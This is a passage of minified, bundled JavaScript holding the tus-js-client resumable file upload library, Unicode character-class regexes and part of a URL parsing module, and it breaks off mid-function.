Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},c(e)}function u(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function d(e,t){return d=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e},d(e,t)}function p(e){return function(){var t,n=m(e);if(function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],(function(){}))),!0}catch(e){return!1}}()){var r=m(this).constructor;t=Reflect.construct(n,arguments,r)}else t=n.apply(this,arguments);return function(e,t){if(t&&("object"===c(t)||"function"==typeof t))return t;return function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e)}(this,t)}}function m(e){return m=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)},m(e)}function h(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function f(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?h(Object(n),!0).forEach((function(t){g(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):h(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function g(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var b=f({},r.Z.defaultOptions,{httpStack:new i.Z,fileReader:new s.Z,urlStorage:o.H?new o.n:new a.Z,fingerprint:l.Z}),v=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&d(e,t)}(i,e);var t,n,a,o=p(i);function i(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),t=f({},b,{},t),o.call(this,e,t)}return t=i,a=[{key:"terminate",value:function(e,t,n){return t=f({},b,{},t),r.Z.terminate(e,t,n)}}],(n=null)&&u(t.prototype,n),a&&u(t,a),i}(r.Z),k=window,y=k.XMLHttpRequest,E=k.Blob;y&&E&&E.prototype.slice},85016:function(e,t){"use strict";t.Z=function(){return"undefined"!=typeof window&&(void 0!==window.PhoneGap||void 0!==window.Cordova||void 0!==window.cordova)}},75908:function(e,t){"use strict";t.Z=function(){return"undefined"!=typeof navigator&&"string"==typeof navigator.product&&"reactnative"===navigator.product.toLowerCase()}},11662:function(e,t,n){"use strict";function r(e){return new Promise((function(t,n){var r=new FileReader;r.onload=function(){var e=new Uint8Array(r.result);t({value:e})},r.onerror=function(e){n(e)},r.readAsArrayBuffer(e)}))}n.d(t,{Z:function(){return r}})},9106:function(e,t,n){"use strict";function r(e){return new Promise((function(t,n){var r=new XMLHttpRequest;r.responseType="blob",r.onload=function(){var e=r.response;t(e)},r.onerror=function(e){n(e)},r.open("GET",e),r.send()}))}n.d(t,{Z:function(){return r}})},15866:function(e,t,n){"use strict";function r(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}n.d(t,{H:function(){return i},n:function(){return s}});var a=!1;try{a="localStorage"in window;var o="tusSupport";localStorage.setItem(o,localStorage.getItem(o))}catch(e){if(e.code!==e.SECURITY_ERR&&e.code!==e.QUOTA_EXCEEDED_ERR)throw e;a=!1}var i=a,s=function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e)}var t,n,a;return t=e,n=[{key:"findAllUploads",value:function(){var e=this._findEntries("tus::");return Promise.resolve(e)}},{key:"findUploadsByFingerprint",value:function(e){var t=this._findEntries("tus::".concat(e,"::"));return Promise.resolve(t)}},{key:"removeUpload",value:function(e){return localStorage.removeItem(e),Promise.resolve()}},{key:"addUpload",value:function(e,t){var n=Math.round(1e12*Math.random()),r="tus::".concat(e,"::").concat(n);return localStorage.setItem(r,JSON.stringify(t)),Promise.resolve(r)}},{key:"_findEntries",value:function(e){for(var t=[],n=0;n<localStorage.length;n++){var r=localStorage.key(n);if(0===r.indexOf(e))try{var a=JSON.parse(localStorage.getItem(r));a.urlStorageKey=r,t.push(a)}catch(e){}}return t}}],n&&r(t.prototype,n),a&&r(t,a),e}()},56971:function(e,t){"use strict";function n(e){return n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},n(e)}function r(e){return function(){var t,r=l(e);if(i()){var a=l(this).constructor;t=Reflect.construct(r,arguments,a)}else t=r.apply(this,arguments);return function(e,t){if(t&&("object"===n(t)||"function"==typeof t))return t;return function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e)}(this,t)}}function a(e){var t="function"==typeof Map?new Map:void 0;return a=function(e){if(null===e||(n=e,-1===Function.toString.call(n).indexOf("[native code]")))return e;var n;if("function"!=typeof e)throw new TypeError("Super expression must either be null or a function");if(void 0!==t){if(t.has(e))return t.get(e);t.set(e,r)}function r(){return o(e,arguments,l(this).constructor)}return r.prototype=Object.create(e.prototype,{constructor:{value:r,enumerable:!1,writable:!0,configurable:!0}}),s(r,e)},a(e)}function o(e,t,n){return o=i()?Reflect.construct:function(e,t,n){var r=[null];r.push.apply(r,t);var a=new(Function.bind.apply(e,r));return n&&s(a,n.prototype),a},o.apply(null,arguments)}function i(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Date.prototype.toString.call(Reflect.construct(Date,[],(function(){}))),!0}catch(e){return!1}}function s(e,t){return s=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e},s(e,t)}function l(e){return l=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)},l(e)}var c=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&s(e,t)}(n,e);var t=r(n);function n(e){var r,a=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null,i=arguments.length>3&&void 0!==arguments[3]?arguments[3]:null;if(function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,n),(r=t.call(this,e)).originalRequest=o,r.originalResponse=i,r.causingError=a,null!=a&&(e+=", caused by ".concat(a.toString())),null!=o){var s=o.getHeader("X-Request-ID")||"n/a",l=o.getMethod(),c=o.getURL(),u=i?i.getStatus():"n/a",d=i?i.getBody()||"":"n/a";e+=", originated from request (method: ".concat(l,", url: ").concat(c,", response code: ").concat(u,", response text: ").concat(d,", request id: ").concat(s,")")}return r.message=e,r}return n}(a(Error));t.Z=c},51336:function(e,t,n){"use strict";n.d(t,{c:function(){return a}});var r=!1;function a(e){r&&console.log(e)}},85799:function(e,t,n){"use strict";function r(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}n.d(t,{Z:function(){return a}});var a=function(){function e(){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e)}var t,n,a;return t=e,(n=[{key:"listAllUploads",value:function(){return Promise.resolve([])}},{key:"findUploadsByFingerprint",value:function(e){return Promise.resolve([])}},{key:"removeUpload",value:function(e){return Promise.resolve()}},{key:"addUpload",value:function(e,t){return Promise.resolve(null)}}])&&r(t.prototype,n),a&&r(t,a),e}()},63620:function(e,t,n){"use strict";var r=n(84097),a=n(41294),o=n.n(a),i=n(56971),s=n(51336),l=n(98184);function c(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function u(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?c(Object(n),!0).forEach((function(t){d(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):c(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function d(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function p(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}var m={endpoint:null,uploadUrl:null,metadata:{},fingerprint:null,uploadSize:null,onProgress:null,onChunkComplete:null,onSuccess:null,onError:null,_onUploadUrlAvailable:null,overridePatchMethod:!1,headers:{},addRequestId:!1,onBeforeRequest:null,onAfterResponse:null,onShouldRetry:null,chunkSize:1/0,retryDelays:[0,1e3,3e3,5e3],parallelUploads:1,storeFingerprintForResuming:!0,removeFingerprintOnSuccess:!1,uploadLengthDeferred:!1,uploadDataDuringCreation:!1,urlStorage:null,fileReader:null,httpStack:null},h=function(){function e(t,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),"resume"in n&&console.log("tus: The `resume` option has been removed in tus-js-client v2. Please use the URL storage API instead."),this.options=n,this._urlStorage=this.options.urlStorage,this.file=t,this.url=null,this._req=null,this._fingerprint=null,this._urlStorageKey=null,this._offset=null,this._aborted=!1,this._size=null,this._source=null,this._retryAttempt=0,this._retryTimeout=null,this._offsetBeforeRetry=0,this._parallelUploads=null,this._parallelUploadUrls=null}var t,n,r;return t=e,n=[{key:"findPreviousUploads",value:function(){var e=this;return this.options.fingerprint(this.file,this.options).then((function(t){return e._urlStorage.findUploadsByFingerprint(t)}))}},{key:"resumeFromPreviousUpload",value:function(e){this.url=e.uploadUrl||null,this._parallelUploadUrls=e.parallelUploadUrls||null,this._urlStorageKey=e.urlStorageKey}},{key:"start",value:function(){var e=this,t=this.file;if(t)if(this.options.endpoint||this.options.uploadUrl){var n=this.options.retryDelays;null==n||"[object Array]"===Object.prototype.toString.call(n)?(this.options.parallelUploads>1&&["uploadUrl","uploadSize","uploadLengthDeferred"].forEach((function(t){e.options[t]&&e._emitError(new Error("tus: cannot use the ".concat(t," option when parallelUploads is enabled")))})),this.options.fingerprint(t,this.options).then((function(n){return null==n?(0,s.c)("No fingerprint was calculated meaning that the upload cannot be stored in the URL storage."):(0,s.c)("Calculated fingerprint: ".concat(n)),e._fingerprint=n,e._source?e._source:e.options.fileReader.openFile(t,e.options.chunkSize)})).then((function(t){e._source=t,e.options.parallelUploads>1||null!=e._parallelUploadUrls?e._startParallelUpload():e._startSingleUpload()})).catch((function(t){e._emitError(t)}))):this._emitError(new Error("tus: the `retryDelays` option must either be an array or null"))}else this._emitError(new Error("tus: neither an endpoint or an upload URL is provided"));else this._emitError(new Error("tus: no file or stream to upload provided"))}},{key:"_startParallelUpload",value:function(){var t=this,n=this._size=this._source.size,r=0;this._parallelUploads=[];var a=null!=this._parallelUploadUrls?this._parallelUploadUrls.length:this.options.parallelUploads,o=function(e,t,n){for(var r=Math.floor(e/t),a=[],o=0;o<t;o++)a.push({start:r*o,end:r*(o+1)});return a[t-1].end=e,n&&a.forEach((function(e,t){e.uploadUrl=n[t]||null})),a}(this._source.size,a,this._parallelUploadUrls);this._parallelUploadUrls=new Array(o.length);var i,l=o.map((function(a,i){var s=0;return t._source.slice(a.start,a.end).then((function(l){var c=l.value;return new Promise((function(l,d){var p=u({},t.options,{uploadUrl:a.uploadUrl||null,storeFingerprintForResuming:!1,removeFingerprintOnSuccess:!1,parallelUploads:1,metadata:{},headers:u({},t.options.headers,{"Upload-Concat":"partial"}),onSuccess:l,onError:d,onProgress:function(e){r=r-s+e,s=e,t._emitProgress(r,n)},_onUploadUrlAvailable:function(){t._parallelUploadUrls[i]=m.url,t._parallelUploadUrls.filter((function(e){return!!e})).length===o.length&&t._saveUploadInUrlStorage()}}),m=new e(c,p);m.start(),t._parallelUploads.push(m)}))}))}));Promise.all(l).then((function(){(i=t._openRequest("POST",t.options.endpoint)).setHeader("Upload-Concat","final;".concat(t._parallelUploadUrls.join(" ")));var e=f(t.options.metadata);return""!==e&&i.setHeader("Upload-Metadata",e),t._sendRequest(i,null)})).then((function(e){if(g(e.getStatus(),200)){var n=e.getHeader("Location");null!=n?(t.url=y(t.options.endpoint,n),(0,s.c)("Created upload at ".concat(t.url)),t._emitSuccess()):t._emitHttpError(i,e,"tus: invalid or missing Location header")}else t._emitHttpError(i,e,"tus: unexpected response while creating upload")})).catch((function(e){t._emitError(e)}))}},{key:"_startSingleUpload",value:function(){if(this.options.uploadLengthDeferred)this._size=null;else if(null!=this.options.uploadSize){if(this._size=+this.options.uploadSize,isNaN(this._size))return void this._emitError(new Error("tus: cannot convert `uploadSize` option into a number"))}else if(this._size=this._source.size,null==this._size)return void this._emitError(new Error("tus: cannot automatically derive upload's size from input and must be specified manually using the `uploadSize` option"));return this._aborted=!1,null!=this.url?((0,s.c)("Resuming upload from previous URL: ".concat(this.url)),void this._resumeUpload()):null!=this.options.uploadUrl?((0,s.c)("Resuming upload from provided URL: ".concat(this.options.url)),this.url=this.options.uploadUrl,void this._resumeUpload()):((0,s.c)("Creating a new upload"),void this._createUpload())}},{key:"abort",value:function(t){var n=this;if(arguments.length>1&&"function"==typeof arguments[1])throw new Error("tus: the abort function does not accept a callback since v2 anymore; please use the returned Promise instead");return null!=this._parallelUploads&&this._parallelUploads.forEach((function(e){e.abort(t)})),null!==this._req&&(this._req.abort(),this._source.close()),this._aborted=!0,null!=this._retryTimeout&&(clearTimeout(this._retryTimeout),this._retryTimeout=null),t&&null!=this.url?e.terminate(this.url,this.options).then((function(){return n._removeFromUrlStorage()})):Promise.resolve()}},{key:"_emitHttpError",value:function(e,t,n,r){this._emitError(new i.Z(n,r,e,t))}},{key:"_emitError",value:function(e){var t=this;if(!this._aborted){if(null!=this.options.retryDelays&&(null!=this._offset&&this._offset>this._offsetBeforeRetry&&(this._retryAttempt=0),k(e,this._retryAttempt,this.options))){var n=this.options.retryDelays[this._retryAttempt++];return this._offsetBeforeRetry=this._offset,void(this._retryTimeout=setTimeout((function(){t.start()}),n))}if("function"!=typeof this.options.onError)throw e;this.options.onError(e)}}},{key:"_emitSuccess",value:function(){this.options.removeFingerprintOnSuccess&&this._removeFromUrlStorage(),"function"==typeof this.options.onSuccess&&this.options.onSuccess()}},{key:"_emitProgress",value:function(e,t){"function"==typeof this.options.onProgress&&this.options.onProgress(e,t)}},{key:"_emitChunkComplete",value:function(e,t,n){"function"==typeof this.options.onChunkComplete&&this.options.onChunkComplete(e,t,n)}},{key:"_createUpload",value:function(){var e=this;if(this.options.endpoint){var t=this._openRequest("POST",this.options.endpoint);this.options.uploadLengthDeferred?t.setHeader("Upload-Defer-Length",1):t.setHeader("Upload-Length",this._size);var n,r=f(this.options.metadata);""!==r&&t.setHeader("Upload-Metadata",r),this.options.uploadDataDuringCreation&&!this.options.uploadLengthDeferred?(this._offset=0,n=this._addChunkToRequest(t)):n=this._sendRequest(t,null),n.then((function(n){if(g(n.getStatus(),200)){var r=n.getHeader("Location");if(null!=r){if(e.url=y(e.options.endpoint,r),(0,s.c)("Created upload at ".concat(e.url)),"function"==typeof e.options._onUploadUrlAvailable&&e.options._onUploadUrlAvailable(),0===e._size)return e._emitSuccess(),void e._source.close();e._saveUploadInUrlStorage(),e.options.uploadDataDuringCreation?e._handleUploadResponse(t,n):(e._offset=0,e._performUpload())}else e._emitHttpError(t,n,"tus: invalid or missing Location header")}else e._emitHttpError(t,n,"tus: unexpected response while creating upload")})).catch((function(n){e._emitHttpError(t,null,"tus: failed to create upload",n)}))}else this._emitError(new Error("tus: unable to create upload because no endpoint is provided"))}},{key:"_resumeUpload",value:function(){var e=this,t=this._openRequest("HEAD",this.url);this._sendRequest(t,null).then((function(n){var r=n.getStatus();if(!g(r,200))return g(r,400)&&e._removeFromUrlStorage(),423===r?void e._emitHttpError(t,n,"tus: upload is currently locked; retry later"):e.options.endpoint?(e.url=null,void e._createUpload()):void e._emitHttpError(t,n,"tus: unable to resume upload (new upload cannot be created without an endpoint)");var a=parseInt(n.getHeader("Upload-Offset"),10);if(isNaN(a))e._emitHttpError(t,n,"tus: invalid or missing offset value");else{var o=parseInt(n.getHeader("Upload-Length"),10);if(!isNaN(o)||e.options.uploadLengthDeferred){if("function"==typeof e.options._onUploadUrlAvailable&&e.options._onUploadUrlAvailable(),a===o)return e._emitProgress(o,o),void e._emitSuccess();e._offset=a,e._performUpload()}else e._emitHttpError(t,n,"tus: invalid or missing length value")}})).catch((function(n){e._emitHttpError(t,null,"tus: failed to resume upload",n)}))}},{key:"_performUpload",value:function(){var e,t=this;this._aborted||(this.options.overridePatchMethod?(e=this._openRequest("POST",this.url)).setHeader("X-HTTP-Method-Override","PATCH"):e=this._openRequest("PATCH",this.url),e.setHeader("Upload-Offset",this._offset),this._addChunkToRequest(e).then((function(n){g(n.getStatus(),200)?t._handleUploadResponse(e,n):t._emitHttpError(e,n,"tus: unexpected response while uploading chunk")})).catch((function(n){t._aborted||t._emitHttpError(e,null,"tus: failed to upload chunk at offset ".concat(t._offset),n)})))}},{key:"_addChunkToRequest",value:function(e){var t=this,n=this._offset,r=this._offset+this.options.chunkSize;return e.setProgressHandler((function(e){t._emitProgress(n+e,t._size)})),e.setHeader("Content-Type","application/offset+octet-stream"),(r===1/0||r>this._size)&&!this.options.uploadLengthDeferred&&(r=this._size),this._source.slice(n,r).then((function(n){var r=n.value,a=n.done;return t.options.uploadLengthDeferred&&a&&(t._size=t._offset+(r&&r.size?r.size:0),e.setHeader("Upload-Length",t._size)),null===r?t._sendRequest(e):(t._emitProgress(t._offset,t._size),t._sendRequest(e,r))}))}},{key:"_handleUploadResponse",value:function(e,t){var n=parseInt(t.getHeader("Upload-Offset"),10);if(isNaN(n))this._emitHttpError(e,t,"tus: invalid or missing offset value");else{if(this._emitProgress(n,this._size),this._emitChunkComplete(n-this._offset,n,this._size),this._offset=n,n==this._size)return this._emitSuccess(),void this._source.close();this._performUpload()}}},{key:"_openRequest",value:function(e,t){var n=b(e,t,this.options);return this._req=n,n}},{key:"_removeFromUrlStorage",value:function(){var e=this;this._urlStorageKey&&(this._urlStorage.removeUpload(this._urlStorageKey).catch((function(t){e._emitError(t)})),this._urlStorageKey=null)}},{key:"_saveUploadInUrlStorage",value:function(){var e=this;if(this.options.storeFingerprintForResuming&&this._fingerprint){var t={size:this._size,metadata:this.options.metadata,creationTime:(new Date).toString()};this._parallelUploads?t.parallelUploadUrls=this._parallelUploadUrls:t.uploadUrl=this.url,this._urlStorage.addUpload(this._fingerprint,t).then((function(t){return e._urlStorageKey=t})).catch((function(t){e._emitError(t)}))}}},{key:"_sendRequest",value:function(e){return v(e,arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,this.options)}}],r=[{key:"terminate",value:function(t,n){if(arguments.length>1&&"function"==typeof arguments[arguments.length-1])throw new Error("tus: the terminate function does not accept a callback since v2 anymore; please use the returned Promise instead");void 0===n&&(n={});var r=b("DELETE",t,n);return v(r,null,n).then((function(e){if(204!==e.getStatus())throw new i.Z("tus: unexpected response while terminating upload",null,r,e)})).catch((function(a){if(a instanceof i.Z||(a=new i.Z("tus: failed to terminate upload",a,r,null)),!k(a,0,n))throw a;var o=n.retryDelays[0],s=n.retryDelays.slice(1),l=u({},n,{retryDelays:s});return new Promise((function(e){return setTimeout(e,o)})).then((function(){return e.terminate(t,l)}))}))}}],n&&p(t.prototype,n),r&&p(t,r),e}();function f(e){var t=[];for(var n in e)t.push("".concat(n," ").concat(r.Base64.encode(e[n])));return t.join(",")}function g(e,t){return e>=t&&e<t+100}function b(e,t,n){var r=n.httpStack.createRequest(e,t);r.setHeader("Tus-Resumable","1.0.0");var a=n.headers||{};for(var o in a)r.setHeader(o,a[o]);if(n.addRequestId){var i=(0,l.Z)();r.setHeader("X-Request-ID",i)}return r}function v(e,t,n){return("function"==typeof n.onBeforeRequest?Promise.resolve(n.onBeforeRequest(e)):Promise.resolve()).then((function(){return e.send(t).then((function(t){return("function"==typeof n.onAfterResponse?Promise.resolve(n.onAfterResponse(e,t)):Promise.resolve()).then((function(){return t}))}))}))}function k(e,t,n){if(null==n.retryDelays||t>=n.retryDelays.length||null==e.originalRequest)return!1;if(n&&"function"==typeof n.onShouldRetry)return n.onShouldRetry(e,t,n);var r,a=e.originalResponse?e.originalResponse.getStatus():0;return(!g(a,400)||409===a||423===a)&&(r=!0,"undefined"!=typeof window&&"navigator"in window&&!1===window.navigator.onLine&&(r=!1),r)}function y(e,t){return new(o())(t,e).toString()}h.defaultOptions=m,t.Z=h},98184:function(e,t,n){"use strict";function r(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,(function(e){var t=16*Math.random()|0;return("x"==e?t:3&t|8).toString(16)}))}n.d(t,{Z:function(){return r}})},19590:function(e){e.exports=/[\0-\x1F\x7F-\x9F]/},20994:function(e){e.exports=/[\xAD\u0600-\u0605\u061C\u06DD\u070F\u08E2\u180E\u200B-\u200F\u202A-\u202E\u2060-\u2064\u2066-\u206F\uFEFF\uFFF9-\uFFFB]|\uD804[\uDCBD\uDCCD]|\uD82F[\uDCA0-\uDCA3]|\uD834[\uDD73-\uDD7A]|\uDB40[\uDC01\uDC20-\uDC7F]/},95162:function(e){e.exports=/[!-#%-\*,-\/:;\?@\[-\]_\{\}\xA1\xA7\xAB\xB6\xB7\xBB\xBF\u037E\u0387\u055A-\u055F\u0589\u058A\u05BE\u05C0\u05C3\u05C6\u05F3\u05F4\u0609\u060A\u060C\u060D\u061B\u061E\u061F\u066A-\u066D\u06D4\u0700-\u070D\u07F7-\u07F9\u0830-\u083E\u085E\u0964\u0965\u0970\u09FD\u0A76\u0AF0\u0C84\u0DF4\u0E4F\u0E5A\u0E5B\u0F04-\u0F12\u0F14\u0F3A-\u0F3D\u0F85\u0FD0-\u0FD4\u0FD9\u0FDA\u104A-\u104F\u10FB\u1360-\u1368\u1400\u166D\u166E\u169B\u169C\u16EB-\u16ED\u1735\u1736\u17D4-\u17D6\u17D8-\u17DA\u1800-\u180A\u1944\u1945\u1A1E\u1A1F\u1AA0-\u1AA6\u1AA8-\u1AAD\u1B5A-\u1B60\u1BFC-\u1BFF\u1C3B-\u1C3F\u1C7E\u1C7F\u1CC0-\u1CC7\u1CD3\u2010-\u2027\u2030-\u2043\u2045-\u2051\u2053-\u205E\u207D\u207E\u208D\u208E\u2308-\u230B\u2329\u232A\u2768-\u2775\u27C5\u27C6\u27E6-\u27EF\u2983-\u2998\u29D8-\u29DB\u29FC\u29FD\u2CF9-\u2CFC\u2CFE\u2CFF\u2D70\u2E00-\u2E2E\u2E30-\u2E4E\u3001-\u3003\u3008-\u3011\u3014-\u301F\u3030\u303D\u30A0\u30FB\uA4FE\uA4FF\uA60D-\uA60F\uA673\uA67E\uA6F2-\uA6F7\uA874-\uA877\uA8CE\uA8CF\uA8F8-\uA8FA\uA8FC\uA92E\uA92F\uA95F\uA9C1-\uA9CD\uA9DE\uA9DF\uAA5C-\uAA5F\uAADE\uAADF\uAAF0\uAAF1\uABEB\uFD3E\uFD3F\uFE10-\uFE19\uFE30-\uFE52\uFE54-\uFE61\uFE63\uFE68\uFE6A\uFE6B\uFF01-\uFF03\uFF05-\uFF0A\uFF0C-\uFF0F\uFF1A\uFF1B\uFF1F\uFF20\uFF3B-\uFF3D\uFF3F\uFF5B\uFF5D\uFF5F-\uFF65]|\uD800[\uDD00-\uDD02\uDF9F\uDFD0]|\uD801\uDD6F|\uD802[\uDC57\uDD1F\uDD3F\uDE50-\uDE58\uDE7F\uDEF0-\uDEF6\uDF39-\uDF3F\uDF99-\uDF9C]|\uD803[\uDF55-\uDF59]|\uD804[\uDC47-\uDC4D\uDCBB\uDCBC\uDCBE-\uDCC1\uDD40-\uDD43\uDD74\uDD75\uDDC5-\uDDC8\uDDCD\uDDDB\uDDDD-\uDDDF\uDE38-\uDE3D\uDEA9]|\uD805[\uDC4B-\uDC4F\uDC5B\uDC5D\uDCC6\uDDC1-\uDDD7\uDE41-\uDE43\uDE60-\uDE6C\uDF3C-\uDF3E]|\uD806[\uDC3B\uDE3F-\uDE46\uDE9A-\uDE9C\uDE9E-\uDEA2]|\uD807[\uDC41-\uDC45\uDC70\uDC71\uDEF7\uDEF8]|\uD809[\uDC70-\uDC74]|\uD81A[\uDE6E\uDE6F\uDEF5\uDF37-\uDF3B\uDF44]|\uD81B[\uDE97-\uDE9A]|\uD82F\uDC9F|\uD836[\uDE87-\uDE8B]|\uD83A[\uDD5E\uDD5F]/},59939:function(e){e.exports=/[ \xA0\u1680\u2000-\u200A\u2028\u2029\u202F\u205F\u3000]/},84353:function(e,t,n){"use strict";t.Any=n(44957),t.Cc=n(19590),t.Cf=n(20994),t.P=n(95162),t.Z=n(59939)},44957:function(e){e.exports=/[\0-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF]/},83078:function(e,t,n){"use strict";function r(e){return e.charAt(0).toUpperCase()+e.substr(1)}n.d(t,{l:function(){return r}})},48936:function(e,t,n){"use strict";n.d(t,{L:function(){return r}});function r(e){return e.toUpperCase()}},41294:function(e,t,n){"use strict";var r=n(82298),a=n(40142),o=/^[\x00-\x20\u00a0\u1680\u2000-\u200a\u2028\u2029\u202f\u205f\u3000\ufeff]+/,i=/[\n\r\t]/g,s=/^[A-Za-z][A-Za-z0-9+-.]*:\/\//,l=/:\d+$/,c=/^([a-z][a-z0-9.+-]*:)?(\/\/)?([\\/]+)?([\S\s]*)/i,u=/^[a-zA-Z]:/;function d(e){return(e||"").toString().replace(o,"")}var p=[["#","hash"],["?","query"],function(e,t){return f(t.protocol)?e.replace(/\\/g,"/"):e},["/","pathname"],["@","auth",1],[NaN,"host",void 0,1,1],[/:(\d*)$/,"port",void 0,1],[NaN,"hostname",void 0,1,1]],m={hash:1,query:1};function h(e){var t,n=("undefined"!=typeof window||"undefined"!=typeof window?window:"undefined"!=typeof self?self:{}).location||{},r={},a=typeof(e=e||n);if("blob:"===e.protocol)r=new b(unescape(e.pathname),{});else if("string"===a)for(t in r=new b(e,{}),m)delete r[t];else if("object"===a){for(t in e)t in m||(r[t]=e[t]);void 0===r.slashes&&(r.slashes=s.test(e.href))}return r}function f(e){return"file:"===e||"ftp:"===e||"http:"===e||"https:"===e||"ws:"===e||"wss:"===e}function g(e,t){e=(e=d(e)).replace(i,""),t=t||{};var n,r=c.exec(e),a=r[1]?r[1].toLowerCase():"",o=!!r[2],s=!!r[3],l=0;return o?s?(n=r[2]+r[3]+r[4],l=r[2].length+r[3].length):(n=r[2]+r[4],l=r[2].length):s?(n=r[3]+r[4],l=r[3].length):n=r[4],"file:"===a?l>=2&&(n=n.slice(2)):f(a)?n=r[4]:a?o&&(n=n.slice(2)):l>=2&&f(t.protocol)&&(n=r[4]),{protocol:a,slashes:o||f(a),slashesCount:l,rest:n}}function b(e,t,n){if(e=(e=d(e)).replace(i,""),!(this instanceof b))return new b(e,t,n);var o,s,l,c,m,v,k=p.slice(),y=typeof t,E=this,w=0;for("object"!==y&&"string"!==y&&(n=t,t=null),n&&"function"!=typeof n&&(n=a.parse),o=!(s=g(e||"",t=h(t))).protocol&&!s.slashes,E.slashes=s.slashes||o&&t.slashes,E.protocol=s.protocol||t.protocol||"",e=s.rest,("file:"===s.protocol&&(2!==s.slashesCount||u.test(e))||!s.slashes&&(s.protocol||s.slashesCount<2||!f(E.protocol)))&&(k[3]=[/(.*)/,"pathname"]);w<k.length;w++)"function"!=typeof(c=k[w])?(l=c[0],v=c[1],l!=l?E[v]=e:"string"==typeof l?~(m="@"===l?e.lastIndexOf(l):e.indexOf(l))&&("number"==typeof c[2]?(E[v]=e.slice(0,m),e=e.slice(m+c[2])):(E[v]=e.slice(m),e=e.slice(0,m))):(m=l.exec(e))&&(E[v]=m[1],e=e.slice(0,m.index)),E[v]=E[v]||o&&c[3]&&t[v]||"",c[4]&&(E[v]=E[v].toLowerCase())):e=c(e,E);n&&(E.query=n(E.query)),o&&t.slashes&&"/"!==E.pathname.charAt(0)&&(""!==E.pathname||""!==t.pathname)&&(E.pathname=function(e,t){if(""===e)return t;for(var n=(t||"/").split("/").slice(0,-1).concat(e.split("/")),r=n.length,a=n[r-1],o=!1,i=0;r--;)"."===n[r]?n.splice(r,1):".."===n[r]?(n.splice(r,1),i++):i&&(0===r&&(o=!0),n.splice(r,1),i--);return 